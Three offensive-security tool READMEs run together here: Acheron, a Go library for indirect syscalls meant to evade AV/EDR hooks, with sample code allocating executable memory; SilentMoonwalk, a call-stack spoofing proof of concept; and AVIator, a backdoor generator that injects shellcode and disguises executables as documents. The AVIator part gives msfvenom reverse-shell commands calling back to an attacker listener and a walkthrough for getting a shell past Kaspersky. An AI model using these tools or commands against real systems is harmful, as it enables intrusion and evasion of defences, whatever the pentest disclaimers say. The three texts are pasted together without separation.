Acheron is a library inspired by SysWhisper3/FreshyCalls/RecycledGate, with most of the functionality implemented in Go assembly.
acheron
package can be used to add indirect syscall capabilities to your Golang tradecraft, to bypass AV/EDRs that makes use of usermode hooks and instrumentation callbacks to detect anomalous syscalls that don't return to ntdll.dll, when the call transition back from kernel->userland.
The following steps are performed when creating a new syscall proxy instance:
Zw*
functionsyscall;ret
gadgets in ntdll.dll, to be used as trampolinesIntegrating acheron
into your offsec tools is pretty easy. You can install the package with:
go get -u github.com/f1zm0/acheron
Then just need to call acheron.New()
to create a syscall proxy instance and use acheron.Syscall()
to make an indirect syscall for Nt*
APIs.
Minimal example:
package main
import (
"fmt"
"unsafe"
"github.com/f1zm0/acheron"
)
func main() {
var (
baseAddr uintptr
hSelf = uintptr(0xffffffffffffffff)
)
// creates Acheron instance, resolves SSNs, collects clean trampolines in ntdll.dlll, etc.
ach, err := acheron.New()
if err != nil {
panic(err)
}
// indirect syscall for NtAllocateVirtualMemory
s1 := ach.HashString("NtAllocateVirtualMemory")
if retcode, err := ach.Syscall(
s1, // function name hash
hSelf, // arg1: _In_ HANDLE ProcessHandle,
uintptr(unsafe.Pointer(&baseAddr)), // arg2: _Inout_ PVOID *BaseAddress,
uintptr(unsafe.Pointer(nil)), // arg3: _In_ ULONG_PTR ZeroBits,
0x1000, // arg4: _Inout_ PSIZE_T RegionSize,
windows.MEM_COMMIT|windows.MEM_RESERVE, // arg5: _In_ ULONG AllocationType,
windows.PAGE_EXECUTE_READWRITE, // arg6: _In_ ULONG Protect
); err != nil {
panic(err)
}
fmt.Printf(
"allocated memory with NtAllocateVirtualMemory (status: 0x%x)\n",
retcode,
)
// ...
}
The following examples are included in the repository:
Example | Description |
---|---|
sc_inject | Extremely simple process injection PoC, with support for both direct and indirect syscalls |
process_snapshot | Using indirect syscalls to take process snapshots with syscalls |
custom_hashfunc | Example of custom encoding/hashing function that can be used with acheron |
Other projects that use acheron
:
Contributions are welcome! Below are some of the things that it would be nice to have in the future:
If you have any suggestions or ideas, feel free to open an issue or a PR.
The name is a reference to the Acheron river in Greek mythology, which is the river where souls of the dead are carried to the underworld.
Note
This project uses semantic versioning. Minor and patch releases should not break compatibility with previous versions. Major releases will only be used for major changes that break compatibility with previous versions.
Warning
This project has been created for educational purposes only. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper usage of the library.
This project is licensed under the MIT License - see the LICENSE file for details
PoC Implementation of a fully dynamic call stack spoofer
SilentMoonwalk is a PoC implementation of a fully dynamic call stack spoofer, implementing a technique to remove the original caller from the call stack, using ROP to desynchronize unwinding from control flow.
This PoC is the result of a joint research done on the topic of stack spoofing. The authors of the research are:
I want to stress that this work would have been impossible without the work of Waldo-IRC and Trickster0, which both contributed to the early stages of the PoC, and to the research behind the PoC.
This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs.
This attempt was inspired by this Twitter thread, and this Twitter thread, where sensei namazso showed and suggested to extend the stack unwinding approach with a ROP chain to both desynchronize the unwinding from real control flow and restore the original stack afterwards.
This PoC attempts to do something similar to the above, and uses a desync stack to completely hide the original call stack, also removing the EXE image base from it. Upon return, a ROP gadget is invoked to restore the original stack. In the code, this process is repeated 10 times in a loop, using different frames at each iteration, to prove stability.
The tool currently supports 2 modes, where one is actually a wrong patch to a non-working pop RBP frame identified, which operates by shifting the current RSP and adding two fake frames to the call stack. As it operates using synthetic frames, I refer to this mode as "SYNTHETIC".
When selecting the frame that unwinds by popping the RBP register from the stack, the tool might select an unsuitable frame, ending up in an abruptly cut call stack, as observable below.
A silly solution to the problem would be to create two fake frames and link them back to the cut call stack. This would create a sort of apparently legit call stack, even without a suitable frame which unwinds calling POP RBP, but:
The result of the _synthetic spoof can be observed in the image below:
Figure 1: Windows 10 - Apparently Legit, non unwoundable call stack whereby the EXE module was completely removed (calling no parameters function getchar)
Note: This operation mode is disabled by default. To enable this mode, change the CALLSTACK_TYPE to 1
This mode is the right solution to the above problem, whereby the non-suitable frame is simply replaced by another, suitable one.
Figure 2: Windows 10 - Legit, unwoundable call stack whereby the EXE module was completely removed (calling 4 parameters function MessageBoxA)
In the repository, you can find also a little util to inspect runtime functions, which might be useful to analyse runtime function entries.
UnwindInspector.exe -h
Unwind Inspector v0.100000
Mandatory args:
-m <module>: Target DLL
-f <function>: Target Function
-a <function-address>: Target Function Address
Sample Output:
UnwindInspector.exe -m kernelbase -a 0x7FFAAE12182C
[*] Using function address 0x7ffaae12182c
Runtime Function (0x000000000000182C, 0x00000000000019ED)
Unwind Info Address: 0x000000000026AA88
Version: 0
Ver + Flags: 00000000
SizeOfProlog: 0x1f
CountOfCodes: 0xc
FrameRegister: 0x0
FrameOffset: 0x0
UnwindCodes:
[00h] Frame: 0x741f - 0x04 - UWOP_SAVE_NONVOL (RDI, 0x001f)
[01h] Frame: 0x0015 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0015)
[02h] Frame: 0x641f - 0x04 - UWOP_SAVE_NONVOL (RSI, 0x001f)
[03h] Frame: 0x0014 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0014)
[04h] Frame: 0x341f - 0x04 - UWOP_SAVE_NONVOL (RBX, 0x001f)
[05h] Frame: 0x0012 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0012)
[06h] Frame: 0xb21f - 0x02 - UWOP_ALLOC_SMALL (R11, 0x001f)
[07h] Frame: 0xf018 - 0x00 - UWOP_PUSH_NONVOL (R15, 0x0018)
[0 8h] Frame: 0xe016 - 0x00 - UWOP_PUSH_NONVOL (R14, 0x0016)
[09h] Frame: 0xd014 - 0x00 - UWOP_PUSH_NONVOL (R13, 0x0014)
[0ah] Frame: 0xc012 - 0x00 - UWOP_PUSH_NONVOL (R12, 0x0012)
[0bh] Frame: 0x5010 - 0x00 - UWOP_PUSH_NONVOL (RBP, 0x0010)
In order to build the POC and observe a similar behaviour to the one in the picture, ensure to:
/GS-
)/Od
)/GL
)/Os
, /Ot
)/Oi
)It's worth mentioning previous work done on this topic, which built the foundation of this work.
AviAtor Ported to NETCore 5 with an updated UI
About://name
AV: AntiVirus
Ator: Is a swordsman, alchemist, scientist, magician, scholar, and engineer, with the ability to sometimes produce objects out of thin air (https://en.wikipedia.org/wiki/Ator)
About://purpose
AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:
[https://attack.mitre.org/techniques/T1055/]:
Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.
Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.
The application has a form which consists of three main inputs (See screenshot bellow):
Important note: The shellcode should be provided as a C# byte array.
The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).
After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.
In simple words, spoof an executable file to look like having an "innocent" extention like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc"
Beware of the fact that some AVs alert the spoof by its own as a malware.
I guess you all know what it is :)
Getting a shell in a windows 10 machine running fully updated kaspersky AV
Create the payload using msfvenom
msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp
Use AVIator with the following settings
Target OS architecture: x64
Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)
Target procedure: explorer (leave the default)
Set the listener on the attacker machine
Run the generated exe on the victim machine
Windows:
Either compile the project or download the allready compiled executable from the following folder:
https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries
Linux:
Install Mono according to your linux distribution, download and run the binaries
e.g. in kali:
root@kali# apt install mono-devel
root@kali# mono aviator.exe
To Damon Mohammadbagher for the encryption procedure
I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.